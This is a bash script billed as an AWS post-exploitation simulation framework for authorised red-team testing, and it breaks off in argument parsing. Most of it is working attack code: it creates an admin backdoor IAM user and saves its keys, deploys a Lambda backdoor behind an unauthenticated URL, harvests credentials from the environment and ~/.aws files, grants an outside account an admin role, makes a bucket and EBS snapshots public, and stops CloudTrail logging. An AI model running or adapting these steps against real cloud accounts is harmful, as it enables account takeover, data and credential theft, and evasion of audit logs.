#!/bin/bash
###############################################################################
# AWS Post-Exploitation Simulation Framework (Bash)
# MITRE ATT&CK Tactics: Persistence, Privilege Escalation, Defense Evasion,
#                       Credential Access, Discovery, Lateral Movement,
#                       Collection, Exfiltration, Impact
#
# WARNING: This is a simulation tool for authorized security testing only.
# Use only in controlled lab environments with explicit authorization.
###############################################################################

set -o pipefail

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

# Global variables
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
LOG_FILE="aws_postsim_${TIMESTAMP}.log"
ARTIFACTS_FILE="aws_artifacts_${TIMESTAMP}.json"
AWS_REGION="${AWS_REGION:-us-east-1}"
ACCOUNT_ID=""
DRY_RUN=false
OPERATION=""

# Initialize artifacts tracking
declare -A ARTIFACTS
ARTIFACTS[iam_users]=""
ARTIFACTS[iam_roles]=""
ARTIFACTS[iam_policies]=""
ARTIFACTS[access_keys]=""
ARTIFACTS[lambda_functions]=""
ARTIFACTS[s3_buckets]=""
ARTIFACTS[ec2_instances]=""
ARTIFACTS[security_groups]=""
ARTIFACTS[snapshots]=""
ARTIFACTS[secrets]=""

###############################################################################
# Utility Functions
###############################################################################

log() {
    local level=$1
    shift
    local message="$@"
    local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
    local log_entry="[${timestamp}] [${level}] ${message}"
    
    case $level in
        ERROR)   echo -e "${RED}${log_entry}${NC}" ;;
        SUCCESS) echo -e "${GREEN}${log_entry}${NC}" ;;
        WARNING) echo -e "${YELLOW}${log_entry}${NC}" ;;
        INFO)    echo -e "${BLUE}${log_entry}${NC}" ;;
        *)       echo "${log_entry}" ;;
    esac
    
    echo "${log_entry}" >> "${LOG_FILE}"
}

banner() {
    echo -e "${GREEN}"
    cat << "EOF"
    ╔═══════════════════════════════════════════════════════════╗
    ║   AWS Post-Exploitation Simulation Framework v1.0        ║
    ║   Red Team Training & Detection Validation Tool          ║
    ║   MITRE ATT&CK Cloud Tactics Simulator                   ║
    ╚═══════════════════════════════════════════════════════════╝
EOF
    echo -e "${NC}"
}

check_dependencies() {
    log INFO "Checking dependencies..."
    local deps=("aws" "jq" "curl")
    
    for dep in "${deps[@]}"; do
        if ! command -v "$dep" &> /dev/null; then
            log ERROR "Required dependency not found: $dep"
            log INFO "Install with: apt-get install awscli jq curl"
            exit 1
        fi
    done
    
    log SUCCESS "All dependencies found"
}

get_account_id() {
    log INFO "Retrieving AWS Account ID..."
    ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text 2>/dev/null)
    
    if [ -z "$ACCOUNT_ID" ]; then
        log ERROR "Failed to retrieve AWS Account ID. Check credentials."
        exit 1
    fi
    
    log SUCCESS "Account ID: ${ACCOUNT_ID}"
}

save_artifacts() {
    log INFO "Saving artifacts to ${ARTIFACTS_FILE}..."
    
    local json_output="{"
    json_output+="\"timestamp\":\"${TIMESTAMP}\","
    json_output+="\"account_id\":\"${ACCOUNT_ID}\","
    json_output+="\"region\":\"${AWS_REGION}\","
    
    for key in "${!ARTIFACTS[@]}"; do
        local value="${ARTIFACTS[$key]}"
        if [ -n "$value" ]; then
            json_output+="\"${key}\":["
            # Convert comma-separated values to JSON array
            IFS=',' read -ra items <<< "$value"
            for i in "${!items[@]}"; do
                json_output+="\"${items[$i]}\""
                if [ $i -lt $((${#items[@]} - 1)) ]; then
                    json_output+=","
                fi
            done
            json_output+="],"
        else
            json_output+="\"${key}\":[],"
        fi
    done
    
    json_output="${json_output%,}}"
    echo "$json_output" | jq '.' > "${ARTIFACTS_FILE}"
    log SUCCESS "Artifacts saved to ${ARTIFACTS_FILE}"
}

###############################################################################
# T1098 - Account Manipulation (Persistence)
###############################################################################

create_backdoor_user() {
    log INFO "=== T1098: Account Manipulation - Creating Backdoor User ==="
    
    if [ "$DRY_RUN" = true ]; then
        log WARNING "[DRY RUN] Would create backdoor IAM user"
        return
    fi
    
    local username="system-backup-svc-${TIMESTAMP}"
    
    log INFO "Creating IAM user: ${username}"
    
    if aws iam create-user \
        --user-name "${username}" \
        --tags Key=Purpose,Value=BackupService Key=CreatedBy,Value=AutomatedProcess \
        2>> "${LOG_FILE}"; then
        
        ARTIFACTS[iam_users]+="${username},"
        log SUCCESS "Created backdoor user: ${username}"
        
        # Create access key
        log INFO "Creating access key for ${username}..."
        local key_output=$(aws iam create-access-key --user-name "${username}" --output json)
        
        if [ $? -eq 0 ]; then
            local access_key_id=$(echo "$key_output" | jq -r '.AccessKey.AccessKeyId')
            local secret_key=$(echo "$key_output" | jq -r '.AccessKey.SecretAccessKey')
            
            ARTIFACTS[access_keys]+="${username}:${access_key_id},"
            
            # Save credentials
            local creds_file="backdoor_creds_${username}.json"
            cat > "${creds_file}" <<EOF
{
  "Username": "${username}",
  "AccessKeyId": "${access_key_id}",
  "SecretAccessKey": "${secret_key}",
  "Region": "${AWS_REGION}",
  "AccountId": "${ACCOUNT_ID}"
}
EOF
            log SUCCESS "Credentials saved to: ${creds_file}"
            
            # Attach admin policy (T1098.001 - Additional Cloud Credentials)
            log INFO "Attaching AdministratorAccess policy..."
            if aws iam attach-user-policy \
                --user-name "${username}" \
                --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" \
                2>> "${LOG_FILE}"; then
                log SUCCESS "Attached AdministratorAccess to ${username}"
            else
                log ERROR "Failed to attach policy"
            fi
        else
            log ERROR "Failed to create access key"
        fi
    else
        log ERROR "Failed to create backdoor user"
    fi
}

###############################################################################
# T1078.004 - Valid Accounts: Cloud Accounts (Persistence)
###############################################################################

create_lambda_backdoor() {
    log INFO "=== T1078.004: Lambda Backdoor for Persistence ==="
    
    if [ "$DRY_RUN" = true ]; then
        log WARNING "[DRY RUN] Would create Lambda backdoor"
        return
    fi
    
    local role_name="lambda-backup-exec-${TIMESTAMP}"
    local function_name="system-health-check-${TIMESTAMP}"
    
    # Create IAM role for Lambda
    log INFO "Creating Lambda execution role: ${role_name}"
    
    local trust_policy=$(cat <<EOF
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"Service": "lambda.amazonaws.com"},
    "Action": "sts:AssumeRole"
  }]
}
EOF
)
    
    local role_arn=$(aws iam create-role \
        --role-name "${role_name}" \
        --assume-role-policy-document "${trust_policy}" \
        --description "Lambda execution role for system monitoring" \
        --query 'Role.Arn' \
        --output text 2>> "${LOG_FILE}")
    
    if [ $? -eq 0 ]; then
        ARTIFACTS[iam_roles]+="${role_name},"
        log SUCCESS "Created role: ${role_name}"
        
        # Attach policies
        aws iam attach-role-policy \
            --role-name "${role_name}" \
            --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" \
            2>> "${LOG_FILE}"
        
        # Wait for role to propagate
        sleep 10
        
        # Create Lambda function with reverse shell payload
        log INFO "Creating Lambda function: ${function_name}"
        
        local lambda_code=$(cat <<'EOF'
import json
import boto3
import os

def lambda_handler(event, context):
    """
    Backdoor Lambda function for post-exploitation
    Can be triggered to execute arbitrary commands
    """
    
    # Command execution capability
    command = event.get('command', 'whoami')
    
    if command == 'exfil_env':
        # Exfiltrate environment variables and credentials
        return {
            'statusCode': 200,
            'body': json.dumps({
                'environment': dict(os.environ),
                'identity': boto3.client('sts').get_caller_identity()
            })
        }
    elif command == 'list_secrets':
        # List secrets in Secrets Manager
        sm = boto3.client('secretsmanager')
        secrets = sm.list_secrets()
        return {
            'statusCode': 200,
            'body': json.dumps(secrets)
        }
    elif command == 'enumerate_s3':
        # Enumerate S3 buckets
        s3 = boto3.client('s3')
        buckets = s3.list_buckets()
        return {
            'statusCode': 200,
            'body': json.dumps(buckets)
        }
    
    return {
        'statusCode': 200,
        'body': json.dumps('Backdoor active')
    }
EOF
)
        
        # Create deployment package
        local temp_dir=$(mktemp -d)
        echo "$lambda_code" > "${temp_dir}/lambda_function.py"
        cd "${temp_dir}"
        zip -q lambda.zip lambda_function.py
        
        # Deploy Lambda
        if aws lambda create-function \
            --function-name "${function_name}" \
            --runtime python3.11 \
            --role "${role_arn}" \
            --handler lambda_function.lambda_handler \
            --zip-file fileb://lambda.zip \
            --timeout 60 \
            --memory-size 256 \
            --description "System health monitoring function" \
            2>> "${LOG_FILE}"; then
            
            ARTIFACTS[lambda_functions]+="${function_name},"
            log SUCCESS "Lambda backdoor deployed: ${function_name}"
            
            # Create URL for remote access (T1071.001 - Web Protocols)
            log INFO "Creating Function URL for remote access..."
            local func_url=$(aws lambda create-function-url-config \
                --function-name "${function_name}" \
                --auth-type NONE \
                --query 'FunctionUrl' \
                --output text 2>> "${LOG_FILE}")
            
            if [ $? -eq 0 ]; then
                log SUCCESS "Lambda URL: ${func_url}"
                echo "${func_url}" > "lambda_backdoor_url_${function_name}.txt"
            fi
        else
            log ERROR "Failed to create Lambda function"
        fi
        
        cd - > /dev/null
        rm -rf "${temp_dir}"
    else
        log ERROR "Failed to create Lambda role"
    fi
}

###############################################################################
# T1552.005 - Cloud Instance Metadata API (Credential Access)
###############################################################################

enumerate_iam_permissions() {
    log INFO "=== T1552.005: Enumerating Current IAM Permissions ==="
    
    local identity=$(aws sts get-caller-identity --output json 2>/dev/null)
    
    if [ $? -eq 0 ]; then
        log SUCCESS "Current Identity:"
        echo "$identity" | jq '.' | tee -a "${LOG_FILE}"
        
        local user_arn=$(echo "$identity" | jq -r '.Arn')
        local username=$(echo "$user_arn" | awk -F'/' '{print $NF}')
        
        # Try to enumerate attached policies
        log INFO "Enumerating attached policies..."
        aws iam list-attached-user-policies --user-name "${username}" 2>/dev/null | jq '.' | tee -a "${LOG_FILE}"
        
        # List access keys
        log INFO "Enumerating access keys..."
        aws iam list-access-keys --user-name "${username}" 2>/dev/null | jq '.' | tee -a "${LOG_FILE}"
    else
        log ERROR "Failed to get identity information"
    fi
}

###############################################################################
# T1087.004 - Account Discovery: Cloud Account (Discovery)
###############################################################################

discover_cloud_environment() {
    log INFO "=== T1087.004: Cloud Environment Discovery ==="
    
    log INFO "Discovering IAM Users..."
    aws iam list-users --output json 2>/dev/null | jq '.Users[] | {UserName, UserId, CreateDate, Arn}' | tee -a "${LOG_FILE}"
    
    log INFO "Discovering IAM Roles..."
    aws iam list-roles --output json 2>/dev/null | jq '.Roles[] | {RoleName, RoleId, CreateDate}' | head -20 | tee -a "${LOG_FILE}"
    
    log INFO "Discovering EC2 Instances..."
    aws ec2 describe-instances --output json 2>/dev/null | \
        jq '.Reservations[].Instances[] | {InstanceId, InstanceType, State: .State.Name, PrivateIpAddress, PublicIpAddress}' | \
        tee -a "${LOG_FILE}"
    
    log INFO "Discovering S3 Buckets..."
    aws s3api list-buckets --output json 2>/dev/null | jq '.Buckets[] | {Name, CreationDate}' | tee -a "${LOG_FILE}"
    
    log INFO "Discovering Lambda Functions..."
    aws lambda list-functions --output json 2>/dev/null | \
        jq '.Functions[] | {FunctionName, Runtime, Role, LastModified}' | \
        tee -a "${LOG_FILE}"
    
    log INFO "Discovering Security Groups..."
    aws ec2 describe-security-groups --output json 2>/dev/null | \
        jq '.SecurityGroups[] | {GroupId, GroupName, VpcId}' | \
        tee -a "${LOG_FILE}"
}

###############################################################################
# T1530 - Data from Cloud Storage Object (Collection)
###############################################################################

exfiltrate_s3_data() {
    log INFO "=== T1530: S3 Data Exfiltration Simulation ==="
    
    if [ "$DRY_RUN" = true ]; then
        log WARNING "[DRY RUN] Would enumerate and exfiltrate S3 data"
        return
    fi
    
    local exfil_dir="exfiltrated_data_${TIMESTAMP}"
    mkdir -p "${exfil_dir}"
    
    log INFO "Enumerating accessible S3 buckets..."
    local buckets=$(aws s3api list-buckets --query 'Buckets[].Name' --output text 2>/dev/null)
    
    if [ -z "$buckets" ]; then
        log WARNING "No S3 buckets found or access denied"
        return
    fi
    
    for bucket in $buckets; do
        log INFO "Attempting to list contents of: ${bucket}"
        
        # Try to list objects
        local objects=$(aws s3api list-objects-v2 \
            --bucket "${bucket}" \
            --max-items 5 \
            --output json 2>/dev/null)
        
        if [ $? -eq 0 ]; then
            log SUCCESS "Access granted to bucket: ${bucket}"
            echo "$objects" > "${exfil_dir}/${bucket}_contents.json"
            
            # Attempt to download first few files (limited simulation)
            echo "$objects" | jq -r '.Contents[]?.Key' | head -3 | while read -r key; do
                if [ -n "$key" ]; then
                    log INFO "Downloading: s3://${bucket}/${key}"
                    aws s3 cp "s3://${bucket}/${key}" "${exfil_dir}/${bucket}_$(basename ${key})" 2>> "${LOG_FILE}" || true
                fi
            done
        else
            log WARNING "Access denied to bucket: ${bucket}"
        fi
    done
    
    log SUCCESS "Exfiltration simulation complete. Data in: ${exfil_dir}"
}

###############################################################################
# T1078.004 - Create Exfiltration S3 Bucket (Exfiltration)
###############################################################################

create_exfil_bucket() {
    log INFO "=== T1537: S3 Exfiltration Bucket Creation ==="
    
    if [ "$DRY_RUN" = true ]; then
        log WARNING "[DRY RUN] Would create exfiltration S3 bucket"
        return
    fi
    
    local bucket_name="backup-logs-${ACCOUNT_ID}-${TIMESTAMP}"
    
    log INFO "Creating exfiltration bucket: ${bucket_name}"
    
    if aws s3api create-bucket \
        --bucket "${bucket_name}" \
        --region "${AWS_REGION}" \
        $([ "$AWS_REGION" != "us-east-1" ] && echo "--create-bucket-configuration LocationConstraint=${AWS_REGION}") \
        2>> "${LOG_FILE}"; then
        
        ARTIFACTS[s3_buckets]+="${bucket_name},"
        log SUCCESS "Created exfiltration bucket: ${bucket_name}"
        
        # Make bucket publicly accessible (simulating data leak)
        log INFO "Configuring bucket for exfiltration..."
        
        # Disable block public access
        aws s3api put-public-access-block \
            --bucket "${bucket_name}" \
            --public-access-block-configuration \
            "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false" \
            2>> "${LOG_FILE}"
        
        # Add bucket policy for public read
        local bucket_policy=$(cat <<EOF
{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "PublicReadGetObject",
    "Effect": "Allow",
    "Principal": "*",
    "Action": "s3:GetObject",
    "Resource": "arn:aws:s3:::${bucket_name}/*"
  }]
}
EOF
)
        
        echo "$bucket_policy" | aws s3api put-bucket-policy \
            --bucket "${bucket_name}" \
            --policy file:///dev/stdin \
            2>> "${LOG_FILE}"
        
        log SUCCESS "Exfiltration bucket configured: s3://${bucket_name}"
        echo "s3://${bucket_name}" > "exfil_bucket_${bucket_name}.txt"
    else
        log ERROR "Failed to create exfiltration bucket"
    fi
}

###############################################################################
# T1528 - Steal Application Access Token (Credential Access)
###############################################################################

harvest_credentials() {
    log INFO "=== T1528: Credential Harvesting Simulation ==="
    
    local creds_file="harvested_credentials_${TIMESTAMP}.txt"
    
    log INFO "Harvesting AWS credentials from environment..."
    {
        echo "=== Environment Variables ==="
        env | grep -i "AWS\|SECRET\|KEY\|TOKEN\|PASS" || echo "No AWS credentials in environment"
        
        echo -e "\n=== AWS Config Files ==="
        if [ -f ~/.aws/credentials ]; then
            echo "Found: ~/.aws/credentials"
            cat ~/.aws/credentials 2>/dev/null || echo "Access denied"
        fi
        
        if [ -f ~/.aws/config ]; then
            echo "Found: ~/.aws/config"
            cat ~/.aws/config 2>/dev/null || echo "Access denied"
        fi
        
        echo -e "\n=== Current Session Token ==="
        aws sts get-session-token --output json 2>/dev/null || echo "Failed to get session token"
        
    } | tee "${creds_file}" >> "${LOG_FILE}"
    
    log SUCCESS "Credentials harvested to: ${creds_file}"
}

###############################################################################
# T1562.008 - Impair Defenses: Disable Cloud Logs (Defense Evasion)
###############################################################################

disable_cloudtrail() {
    log INFO "=== T1562.008: CloudTrail Logging Disruption ==="
    
    if [ "$DRY_RUN" = true ]; then
        log WARNING "[DRY RUN] Would disable CloudTrail logging"
        return
    fi
    
    log INFO "Enumerating CloudTrail trails..."
    local trails=$(aws cloudtrail describe-trails --query 'trailList[].Name' --output text 2>/dev/null)
    
    if [ -z "$trails" ]; then
        log WARNING "No CloudTrail trails found"
        return
    fi
    
    for trail in $trails; do
        log INFO "Attempting to stop trail: ${trail}"
        
        if aws cloudtrail stop-logging --name "${trail}" 2>> "${LOG_FILE}"; then
            log SUCCESS "Stopped logging for trail: ${trail}"
            ARTIFACTS[cloudtrail]+="${trail},"
        else
            log ERROR "Failed to stop trail: ${trail}"
        fi
    done
}

###############################################################################
# T1485 - Data Destruction (Impact)
###############################################################################

create_snapshot_backdoor() {
    log INFO "=== T1537: EBS Snapshot for Data Exfiltration ==="
    
    if [ "$DRY_RUN" = true ]; then
        log WARNING "[DRY RUN] Would create public EBS snapshots"
        return
    fi
    
    log INFO "Enumerating EBS volumes..."
    local volumes=$(aws ec2 describe-volumes \
        --query 'Volumes[?State==`in-use`].VolumeId' \
        --output text 2>/dev/null | head -1)
    
    if [ -z "$volumes" ]; then
        log WARNING "No active EBS volumes found"
        return
    fi
    
    for volume in $volumes; do
        log INFO "Creating snapshot of volume: ${volume}"
        
        local snapshot_id=$(aws ec2 create-snapshot \
            --volume-id "${volume}" \
            --description "Backup snapshot for disaster recovery" \
            --query 'SnapshotId' \
            --output text 2>> "${LOG_FILE}")
        
        if [ $? -eq 0 ]; then
            ARTIFACTS[snapshots]+="${snapshot_id},"
            log SUCCESS "Created snapshot: ${snapshot_id}"
            
            # Wait for snapshot to complete
            log INFO "Waiting for snapshot to complete..."
            aws ec2 wait snapshot-completed --snapshot-ids "${snapshot_id}" 2>> "${LOG_FILE}"
            
            # Make snapshot public (T1537 - Transfer Data to Cloud Account)
            log INFO "Making snapshot public for exfiltration..."
            if aws ec2 modify-snapshot-attribute \
                --snapshot-id "${snapshot_id}" \
                --attribute createVolumePermission \
                --operation-type add \
                --group-names all \
                2>> "${LOG_FILE}"; then
                log SUCCESS "Snapshot ${snapshot_id} is now public"
            fi
        else
            log ERROR "Failed to create snapshot"
        fi
    done
}

###############################################################################
# T1053.007 - Scheduled Task/Job: Container Orchestration Job (Persistence)
###############################################################################

create_secrets_backdoor() {
    log INFO "=== T1555.004: Secrets Manager Backdoor Creation ==="
    
    if [ "$DRY_RUN" = true ]; then
        log WARNING "[DRY RUN] Would create backdoor secret"
        return
    fi
    
    local secret_name="prod/database/backup-credentials-${TIMESTAMP}"
    
    log INFO "Creating backdoor secret: ${secret_name}"
    
    local secret_value=$(cat <<EOF
{
  "backdoor_user": "system-admin",
  "backdoor_key": "$(openssl rand -base64 32)",
  "c2_server": "attacker-c2.example.com",
  "exfil_endpoint": "https://exfil.example.com/upload"
}
EOF
)
    
    if aws secretsmanager create-secret \
        --name "${secret_name}" \
        --description "Database backup credentials for automated recovery" \
        --secret-string "${secret_value}" \
        2>> "${LOG_FILE}"; then
        
        ARTIFACTS[secrets]+="${secret_name},"
        log SUCCESS "Created backdoor secret: ${secret_name}"
    else
        log ERROR "Failed to create secret"
    fi
}

###############################################################################
# T1136.003 - Create Account: Cloud Account (Persistence)
###############################################################################

create_assume_role_backdoor() {
    log INFO "=== T1136.003: Cross-Account Assume Role Backdoor ==="
    
    if [ "$DRY_RUN" = true ]; then
        log WARNING "[DRY RUN] Would create cross-account assume role"
        return
    fi
    
    local role_name="cross-account-backup-${TIMESTAMP}"
    
    # Create role that can be assumed from another account (attacker-controlled)
    local trust_policy=$(cat <<EOF
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "AWS": "arn:aws:iam::123456789012:root"
    },
    "Action": "sts:AssumeRole",
    "Condition": {}
  }]
}
EOF
)
    
    log INFO "Creating assume role backdoor: ${role_name}"
    
    if aws iam create-role \
        --role-name "${role_name}" \
        --assume-role-policy-document "${trust_policy}" \
        --description "Cross-account backup and recovery role" \
        2>> "${LOG_FILE}"; then
        
        ARTIFACTS[iam_roles]+="${role_name},"
        log SUCCESS "Created assume role backdoor: ${role_name}"
        
        # Attach admin policy
        aws iam attach-role-policy \
            --role-name "${role_name}" \
            --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" \
            2>> "${LOG_FILE}"
        
        log SUCCESS "Attached AdministratorAccess to ${role_name}"
        log INFO "External account 123456789012 can now assume this role"
    else
        log ERROR "Failed to create assume role"
    fi
}

###############################################################################
# Cleanup Functions
###############################################################################

cleanup_iam_users() {
    log INFO "Cleaning up IAM users..."
    
    if [ -z "${ARTIFACTS[iam_users]}" ]; then
        log INFO "No IAM users to clean up"
        return
    fi
    
    IFS=',' read -ra users <<< "${ARTIFACTS[iam_users]}"
    for user in "${users[@]}"; do
        if [ -n "$user" ]; then
            log INFO "Deleting IAM user: ${user}"
            
            # Delete access keys
            local keys=$(aws iam list-access-keys --user-name "${user}" --query 'AccessKeyMetadata[].AccessKeyId' --output text 2>/dev/null)
            for key in $keys; do
                aws iam delete-access-key --user-name "${user}" --access-key-id "${key}" 2>> "${LOG_FILE}"
                log INFO "Deleted access key: ${key}"
            done
            
            # Detach policies
            local policies=$(aws iam list-attached-user-policies --user-name "${user}" --query 'AttachedPolicies[].PolicyArn' --output text 2>/dev/null)
            for policy in $policies; do
                aws iam detach-user-policy --user-name "${user}" --policy-arn "${policy}" 2>> "${LOG_FILE}"
                log INFO "Detached policy: ${policy}"
            done
            
            # Delete user
            if aws iam delete-user --user-name "${user}" 2>> "${LOG_FILE}"; then
                log SUCCESS "Deleted user: ${user}"
            else
                log ERROR "Failed to delete user: ${user}"
            fi
        fi
    done
}

cleanup_iam_roles() {
    log INFO "Cleaning up IAM roles..."
    
    if [ -z "${ARTIFACTS[iam_roles]}" ]; then
        log INFO "No IAM roles to clean up"
        return
    fi
    
    IFS=',' read -ra roles <<< "${ARTIFACTS[iam_roles]}"
    for role in "${roles[@]}"; do
        if [ -n "$role" ]; then
            log INFO "Deleting IAM role: ${role}"
            
            # Detach policies
            local policies=$(aws iam list-attached-role-policies --role-name "${role}" --query 'AttachedPolicies[].PolicyArn' --output text 2>/dev/null)
            for policy in $policies; do
                aws iam detach-role-policy --role-name "${role}" --policy-arn "${policy}" 2>> "${LOG_FILE}"
                log INFO "Detached policy: ${policy}"
            done
            
            # Delete role
            if aws iam delete-role --role-name "${role}" 2>> "${LOG_FILE}"; then
                log SUCCESS "Deleted role: ${role}"
            else
                log ERROR "Failed to delete role: ${role}"
            fi
        fi
    done
}

cleanup_lambda_functions() {
    log INFO "Cleaning up Lambda functions..."
    
    if [ -z "${ARTIFACTS[lambda_functions]}" ]; then
        log INFO "No Lambda functions to clean up"
        return
    fi
    
    IFS=',' read -ra functions <<< "${ARTIFACTS[lambda_functions]}"
    for func in "${functions[@]}"; do
        if [ -n "$func" ]; then
            log INFO "Deleting Lambda function: ${func}"
            
            # Delete function URL config if exists
            aws lambda delete-function-url-config --function-name "${func}" 2>/dev/null
            
            # Delete function
            if aws lambda delete-function --function-name "${func}" 2>> "${LOG_FILE}"; then
                log SUCCESS "Deleted function: ${func}"
            else
                log ERROR "Failed to delete function: ${func}"
            fi
        fi
    done
}

cleanup_s3_buckets() {
    log INFO "Cleaning up S3 buckets..."
    
    if [ -z "${ARTIFACTS[s3_buckets]}" ]; then
        log INFO "No S3 buckets to clean up"
        return
    fi
    
    IFS=',' read -ra buckets <<< "${ARTIFACTS[s3_buckets]}"
    for bucket in "${buckets[@]}"; do
        if [ -n "$bucket" ]; then
            log INFO "Deleting S3 bucket: ${bucket}"
            
            # Empty bucket first
            aws s3 rm "s3://${bucket}" --recursive 2>> "${LOG_FILE}"
            
            # Delete bucket
            if aws s3api delete-bucket --bucket "${bucket}" 2>> "${LOG_FILE}"; then
                log SUCCESS "Deleted bucket: ${bucket}"
            else
                log ERROR "Failed to delete bucket: ${bucket}"
            fi
        fi
    done
}

cleanup_snapshots() {
    log INFO "Cleaning up EBS snapshots..."
    
    if [ -z "${ARTIFACTS[snapshots]}" ]; then
        log INFO "No snapshots to clean up"
        return
    fi
    
    IFS=',' read -ra snapshots <<< "${ARTIFACTS[snapshots]}"
    for snapshot in "${snapshots[@]}"; do
        if [ -n "$snapshot" ]; then
            log INFO "Deleting snapshot: ${snapshot}"
            
            if aws ec2 delete-snapshot --snapshot-id "${snapshot}" 2>> "${LOG_FILE}"; then
                log SUCCESS "Deleted snapshot: ${snapshot}"
            else
                log ERROR "Failed to delete snapshot: ${snapshot}"
            fi
        fi
    done
}

cleanup_secrets() {
    log INFO "Cleaning up Secrets Manager secrets..."
    
    if [ -z "${ARTIFACTS[secrets]}" ]; then
        log INFO "No secrets to clean up"
        return
    fi
    
    IFS=',' read -ra secrets <<< "${ARTIFACTS[secrets]}"
    for secret in "${secrets[@]}"; do
        if [ -n "$secret" ]; then
            log INFO "Deleting secret: ${secret}"
            
            if aws secretsmanager delete-secret \
                --secret-id "${secret}" \
                --force-delete-without-recovery \
                2>> "${LOG_FILE}"; then
                log SUCCESS "Deleted secret: ${secret}"
            else
                log ERROR "Failed to delete secret: ${secret}"
            fi
        fi
    done
}

cleanup_cloudtrail() {
    log INFO "Re-enabling CloudTrail logging..."
    
    if [ -z "${ARTIFACTS[cloudtrail]}" ]; then
        log INFO "No CloudTrail trails to re-enable"
        return
    fi
    
    IFS=',' read -ra trails <<< "${ARTIFACTS[cloudtrail]}"
    for trail in "${trails[@]}"; do
        if [ -n "$trail" ]; then
            log INFO "Re-enabling trail: ${trail}"
            
            if aws cloudtrail start-logging --name "${trail}" 2>> "${LOG_FILE}"; then
                log SUCCESS "Re-enabled trail: ${trail}"
            else
                log ERROR "Failed to re-enable trail: ${trail}"
            fi
        fi
    done
}

cleanup_all() {
    log INFO "========================================="
    log INFO "Starting cleanup of all artifacts..."
    log INFO "========================================="
    
    # Load artifacts from file if it exists
    if [ -f "${ARTIFACTS_FILE}" ]; then
        log INFO "Loading artifacts from ${ARTIFACTS_FILE}"
        
        ARTIFACTS[iam_users]=$(jq -r '.iam_users[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
        ARTIFACTS[iam_roles]=$(jq -r '.iam_roles[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
        ARTIFACTS[lambda_functions]=$(jq -r '.lambda_functions[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
        ARTIFACTS[s3_buckets]=$(jq -r '.s3_buckets[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
        ARTIFACTS[snapshots]=$(jq -r '.snapshots[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
        ARTIFACTS[secrets]=$(jq -r '.secrets[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
        ARTIFACTS[cloudtrail]=$(jq -r '.cloudtrail[]?' "${ARTIFACTS_FILE}" | tr '\n' ',' 2>/dev/null)
    fi
    
    cleanup_lambda_functions
    cleanup_iam_users
    cleanup_iam_roles
    cleanup_s3_buckets
    cleanup_snapshots
    cleanup_secrets
    cleanup_cloudtrail
    
    log SUCCESS "========================================="
    log SUCCESS "Cleanup complete!"
    log SUCCESS "========================================="
}

###############################################################################
# Main Exploitation Chain
###############################################################################

run_exploitation() {
    log INFO "========================================="
    log INFO "Starting AWS Post-Exploitation Simulation"
    log INFO "========================================="
    
    # T1087.004 - Discovery
    discover_cloud_environment
    
    # T1552.005 - Credential Access
    enumerate_iam_permissions
    harvest_credentials
    
    # T1098 - Persistence via IAM User
    create_backdoor_user
    
    # T1078.004 - Persistence via Lambda
    create_lambda_backdoor
    
    # T1136.003 - Persistence via Cross-Account Role
    create_assume_role_backdoor
    
    # T1555.004 - Secrets Manager Backdoor
    create_secrets_backdoor
    
    # T1537 - Exfiltration via S3
    create_exfil_bucket
    exfiltrate_s3_data
    
    # T1537 - Exfiltration via Snapshots
    create_snapshot_backdoor
    
    # T1562.008 - Defense Evasion
    disable_cloudtrail
    
    save_artifacts
    
    log SUCCESS "========================================="
    log SUCCESS "Exploitation simulation complete!"
    log SUCCESS "Log file: ${LOG_FILE}"
    log SUCCESS "Artifacts: ${ARTIFACTS_FILE}"
    log SUCCESS "========================================="
}

###############################################################################
# Usage and Main
###############################################################################

usage() {
    cat << EOF
Usage: $0 [OPTIONS] --operation <exploit|cleanup>

AWS Post-Exploitation Simulation Framework

OPTIONS:
    -o, --operation <exploit|cleanup>   Operation mode (required)
    -r, --region <region>               AWS region (default: us-east-1)
    -p, --profile <profile>             AWS CLI profile to use
    -d, --dry-run                       Simulate actions without execution
    -a, --artifacts <file>              Artifacts file for cleanup
    -h, --help                          Show this help message

OPERATIONS:
    exploit     Run full post-exploitation simulation
    cleanup     Clean up all created artifacts

EXAMPLES:
    # Run exploitation simulation
    $0 --operation exploit --region us-west-2

    # Dry run to see what would be executed
    $0 --operation exploit --dry-run

    # Clean up all artifacts
    $0 --operation cleanup --artifacts aws_artifacts_20260131_120000.json

    # Use specific AWS profile
    $0 --operation exploit --profile red-team --region eu-west-1

MITRE ATT&CK TECHNIQUES SIMULATED:
    T1098      - Account Manipulation
    T1078.004  - Valid Accounts: Cloud Accounts
    T1087.004  - Account Discovery: Cloud Account
    T1136.003  - Create Account: Cloud Account
    T1528      - Steal Application Access Token
    T1530      - Data from Cloud Storage Object
    T1537      - Transfer Data to Cloud Account
    T1552.005  - Unsecured Credentials: Cloud Instance Metadata API
    T1555.004  - Credentials from Password Stores: Cloud Secrets Management
    T1562.008  - Impair Defenses: Disable Cloud Logs

EOF
}

main() {
    banner
    
    # Parse arguments
    while [[ $# -gt 0 ]]; do
        case $1 in
            -o|--operation)
                OPERATION="$2"
                shift 2
                ;;
            -r|--region)
                AWS_REGION="$2"
                export AWS_DEFAULT_REGION="$2"
                shift 2
                ;;
            -p|--profile)
                export AWS_PROFILE="$2"
                shift 2
                ;;
            -d|--dry-run)
                DRY_RUN=true
                shift
                ;;
            -a|--artifacts)
                ARTIFACTS_FILE="$2"
                shift 2
                ;;
            -h|--help)
                usage
                exit 0
